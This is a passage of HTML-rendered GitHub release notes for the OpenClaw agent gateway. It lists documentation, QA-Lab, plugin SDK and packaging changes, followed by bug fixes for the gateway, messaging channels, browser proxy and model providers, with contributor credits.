<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgnacioPro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgnacioPro">@IgnacioPro</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xzcxzcyy-claw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xzcxzcyy-claw">@xzcxzcyy-claw</a>.</li>
<li>Docs: clarify model-usage portability, Codex migration prerequisites, status bootstrap wording, thread-bound subagent limits, hook ownership, and config-preserving safety guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aniruddhaadak80/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aniruddhaadak80">@aniruddhaadak80</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomDjerry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomDjerry">@TomDjerry</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matthewxmurphy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matthewxmurphy">@matthewxmurphy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stablegenius49/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stablegenius49">@stablegenius49</a>.</li>
<li>Docs: clarify README onboarding and Gateway startup paths, WhatsApp QR/408 recovery, cron output language prompts, skill advanced features, gateway upstream 403 troubleshooting, and plugin fallback override guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deepujain/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deepujain">@deepujain</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zacxxx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zacxxx">@Zacxxx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neyric/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neyric">@neyric</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usimic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usimic">@usimic</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Renu-Cybe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Renu-Cybe">@Renu-Cybe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BigUncle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BigUncle">@BigUncle</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SeashoreShi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SeashoreShi">@SeashoreShi</a>.</li>
<li>Docs: clarify context-pruning ratio bounds, local dashboard recovery, CLI env markers, remote onboarding token behavior, and Peekaboo Bridge permissions for subprocess agents. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ayesha-aziz123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ayesha-aziz123">@ayesha-aziz123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dishraters/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dishraters">@dishraters</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hougangdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hougangdev">@hougangdev</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brandonlipman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brandonlipman">@brandonlipman</a>.</li>
<li>Docs: clarify browser CDP diagnostics, Plugin SDK allowlist imports, status-reaction timing defaults, queue steering behavior, limited-tool troubleshooting, cron HEARTBEAT handling, Telegram multi-agent groups, Bitwarden SecretRef setup, and EasyRunner deployments. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Quratulain-bilal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Quratulain-bilal">@Quratulain-bilal</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mickey-/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mickey-">@Mickey-</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vancece/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vancece">@vancece</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xenouzik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xenouzik">@xenouzik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/posigit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/posigit">@posigit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/surlymochan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/surlymochan">@surlymochan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/janaka/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/janaka">@janaka</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/choiking/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/choiking">@choiking</a>.</li>
<li>Crabbox/Testbox: run clean sparse-checkout Testbox syncs from a temporary full checkout and route remote changed gates through Corepack pnpm.</li>
<li>Docs: clarify IPv4-only Gateway BYOH binding, trusted-proxy scope clearing, Android pairing approval, macOS Accessibility grants, Zalo profile env vars, password-store SecretRef setup, and Chinese memory navigation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itskai-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itskai-dev">@itskai-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gwh7078/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gwh7078">@gwh7078</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/longstoryscott/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/longstoryscott">@longstoryscott</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MoeJaberr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MoeJaberr">@MoeJaberr</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yuaiccc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yuaiccc">@yuaiccc</a>.</li>
<li>Docs: consolidate GLM under Z.AI, add the Upstash Box install guide and Gateway exposure runbook, clarify MEDIA directives, Copilot and Voyage setup, config path quoting, real behavior proof, and memory-file write guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BobDu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BobDu">@BobDu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alitariksahin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alitariksahin">@alitariksahin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jefsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jefsky">@Jefsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/musaabhasan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/musaabhasan">@musaabhasan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OmerZeyveli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OmerZeyveli">@OmerZeyveli</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WuKongAI-CMU/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WuKongAI-CMU">@WuKongAI-CMU</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/majin1102/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/majin1102">@majin1102</a>.</li>
<li>Docs: clarify media provider credentials, Codex/OpenClaw code-mode boundaries, Slack and Telegram ack reactions, Feishu dynamic agents, secrets plaintext boundaries, memory guidance, and Chinese glossary terms. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nielskaspers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nielskaspers">@nielskaspers</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cosmopolitan033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cosmopolitan033">@cosmopolitan033</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drclaw-iq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drclaw-iq">@drclaw-iq</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexgduarte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexgduarte">@alexgduarte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zccyman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zccyman">@zccyman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chengoak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chengoak">@chengoak</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cassthebandit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cassthebandit">@cassthebandit</a>.</li>
<li>Packaging: exclude documentation images and assets from the npm tarball, reducing published package size without affecting runtime docs search or CLI behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Media understanding: stop auto-probing Gemini CLI and use Antigravity CLI only as a lower-priority image/video fallback after configured provider APIs.</li>
<li>Agents/subagents: limit default sub-agent bootstrap context to <code>AGENTS.md</code> and <code>TOOLS.md</code>, keeping persona, identity, user, memory, heartbeat, and setup files out of delegated workers by default. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501180539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85283" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85283/hovercard" href="https://github.com/openclaw/openclaw/pull/85283">#85283</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Maintainer skills: exclude plugin SDK/API boundary work from <code>openclaw-landable-bug-sweep</code> so bugbash sweeps stay focused on small paper-cut fixes.</li>
<li>QA-Lab/diagnostics: extend the OpenTelemetry smoke harness to prove trace, metric, and log export, and add first-class Prometheus and observability smoke aliases.</li>
<li>Plugin SDK: add a generic channel-message poll sender so channel plugins can expose poll delivery without depending on channel-specific SDK facades.</li>
<li>Crabbox: keep the local wrapper's provider validation synced with the installed Crabbox binary while preserving supported aliases such as <code>docker</code> and <code>blacksmith</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501761454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85302/hovercard" href="https://github.com/openclaw/openclaw/pull/85302">#85302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>.</li>
<li>Maintainer skills: add <code>openclaw-landable-bug-sweep</code> for producing five small, reviewed, CI-green OpenClaw bugfix PRs from issue/PR sweeps.</li>
<li>Control UI/chat: add search and Load More pagination to the chat session picker, keeping initial session loads bounded while making older conversations reachable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500085034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85237" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85237/hovercard" href="https://github.com/openclaw/openclaw/pull/85237">#85237</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>CLI/onboarding: start classic onboarding when bare <code>openclaw</code> runs before an authored config exists, while keeping configured installs on Crestodian. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331787394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72343" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72343/hovercard" href="https://github.com/openclaw/openclaw/pull/72343">#72343</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Discord: allow configuring a bounded <code>agentComponents.ttlMs</code> callback registry lifetime for long-running component workflows, with per-account overrides and a 24-hour cap. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478496189" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84189" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84189/hovercard" href="https://github.com/openclaw/openclaw/pull/84189">#84189</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>xAI/Grok: reuse xAI OAuth auth profiles for Grok <code>web_search</code>, thread active-agent auth through web search, add Grok model aliases, and let media providers declare default operation timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499295136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85182/hovercard" href="https://github.com/openclaw/openclaw/pull/85182">#85182</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Plugin SDK: add row-level session workflow helpers and deprecate <code>loadSessionStore</code> so plugins can read and patch sessions without depending on the legacy whole-store shape. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489637163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84693" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84693/hovercard" href="https://github.com/openclaw/openclaw/pull/84693">#84693</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efpiva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efpiva">@efpiva</a>.</li>
<li>Gateway/plugins: reuse a compatible Gateway startup plugin registry during dispatch so safe plugin dispatches avoid redundant registry loading. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481133270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84324" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84324/hovercard" href="https://github.com/openclaw/openclaw/pull/84324">#84324</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</li>
<li>Plugins/SDK: add a general <code>embeddingProviders</code> capability contract and registration API so embeddings can become a reusable provider surface outside memory-specific adapters.</li>
<li>Dependencies: refresh provider, plugin, UI, and tooling packages, update <code>protobufjs</code> to 8.4.0 to clear the current npm advisory, and carry the Claude ACP completion patch forward to <code>@agentclientprotocol/claude-agent-acp</code> 0.36.1.</li>
<li>Agents/tools: remove the old sender-owner tool gating path so configured tools stay visible for trusted sessions while command and channel-action auth still carry real sender identity.</li>
<li>QA-Lab: add curated mock JSONL replay fixtures and first-drift reporting for runtime-parity audits. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415102376" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80176" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80176/hovercard" href="https://github.com/openclaw/openclaw/issues/80176">#80176</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a QA bus tool-trace visibility scenario for sanitized tool-call assertions.</li>
<li>QA-Lab: replace generic evidence framing in seeded scenario prompts with concrete observed QA behavior.</li>
<li>QA-Lab: list named scenario packs in the coverage report so personal-agent privacy coverage stays visible in audits.</li>
<li>QA-Lab: list live transport lane membership in the coverage report so real transport checks stay separate from seeded qa-channel scenarios.</li>
<li>Release/package: run package integrity checks before package acceptance lanes so public install/update validation fails before private QA assets can leak into the package.</li>
<li>QA-Lab: include the optional 100-turn runtime parity soak in release-soak artifacts so long-run Codex/Pi transcript drift stays visible outside the default gate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416567023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80395" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80395/hovercard" href="https://github.com/openclaw/openclaw/issues/80395">#80395</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a live-only long-context progress watchdog scenario for Codex app-server timeout and stalled-run sentinels. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: tag gateway restart recovery and streaming final-integrity scenarios as live-only runtime parity lanes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a personal-agent failure recovery scenario that checks honest partial status, retry boundaries, and local recovery artifacts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473904192" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83872" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83872/hovercard" href="https://github.com/openclaw/openclaw/pull/83872">#83872</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>QA-Lab: include an opt-in <code>update.run</code> package self-upgrade sentinel for destructive latest-package recovery checks.</li>
<li>QA-Lab: add Codex plugin lifecycle and auth-profile fixture coverage for missing installs, pinned-version drift, first-turn install ordering, and doctor migration safety. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415100585" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80174" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80174/hovercard" href="https://github.com/openclaw/openclaw/issues/80174">#80174</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Models/perf: pre-warm the provider auth-state map at gateway startup so <code>/models</code> and every model-listing call short-circuits the per-provider plugin / external-CLI discovery on the hot path. Per-call cost drops from ~20 s to ~5 ms (~4,100×); the one-time startup warm resets and re-warms after hot reloads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491926618" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84816" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84816/hovercard" href="https://github.com/openclaw/openclaw/pull/84816">#84816</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjf">@sjf</a>.</li>
<li>Release/security: ship the root npm package and OpenClaw-owned npm plugins with generated shrinkwrap, support bundled plugin runtime dependencies for suitable plugin tarballs, and require review for lockfile/shrinkwrap changes so published installs use locked dependency graphs.</li>
<li>Tests/perf: isolate doctor core health check unit coverage from real skills/workspace discovery so <code>doctor-core-checks</code> no longer dominates unit perf while keeping one real skills-readiness smoke. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484275654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84493" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84493/hovercard" href="https://github.com/openclaw/openclaw/pull/84493">#84493</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>WebChat: summarize internal message-tool source replies so tool cards no longer duplicate the visible reply body. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491292661" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84773/hovercard" href="https://github.com/openclaw/openclaw/pull/84773">#84773</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Gateway: preserve deferred lifecycle-error cleanup across later non-terminal events so provider timeouts can persist failed session state instead of leaving sessions stuck running. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500457730" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85256" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85256/hovercard" href="https://github.com/openclaw/openclaw/pull/85256">#85256</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233422692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63819/hovercard" href="https://github.com/openclaw/openclaw/issues/63819">#63819</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Agents/subagents: report tool-only child progress during timeout summaries instead of showing no visible output.</li>
<li>Telegram/ACP: preserve explicit <code>:topic:</code> conversation suffixes when inbound ACP targets do not carry a separate thread id.</li>
<li>Browser/proxy: bypass the managed proxy for the exact local managed Chrome CDP readiness and DevTools WebSocket endpoints, so <code>openclaw browser start</code> works when the operator proxy blocks loopback egress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464834671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83255" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83255/hovercard" href="https://github.com/openclaw/openclaw/pull/83255">#83255</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lightcap/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lightcap">@lightcap</a>.</li>
<li>Ollama: bypass the managed proxy for configured local embedding origins while keeping SSRF guardrails on unconfigured targets. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>OpenAI/images: route Codex API-key image generation through the native OpenAI Images API instead of the Codex OAuth streaming backend, avoiding 401s from valid API keys.</li>
<li>Agents/OpenAI completions: omit empty tool payload fields for proxy-like OpenAI-compatible endpoints so strict vLLM-style servers accept tool-free turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509644563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85835" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85835/hovercard" href="https://github.com/openclaw/openclaw/pull/85835">#85835</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rendrag-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rendrag-git">@rendrag-git</a>.</li>
<li>Checks/Windows: route full <code>pnpm check</code> stage commands through the managed child runner so Windows avoids Node shell-argv deprecation warnings there too.</li>
<li>Checks/Windows: run managed child commands through explicit <code>cmd.exe</code> wrapping instead of Node shell mode with argv, avoiding Node 24 subprocess deprecation warnings during changed checks.</li>
<li>Gateway: omit internal stream-error placeholder entries from agent prompt history so failed assistant turns are not replayed as model-authored text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507093570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85652" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85652/hovercard" href="https://github.com/openclaw/openclaw/pull/85652">#85652</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anyech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anyech">@anyech</a>.</li>
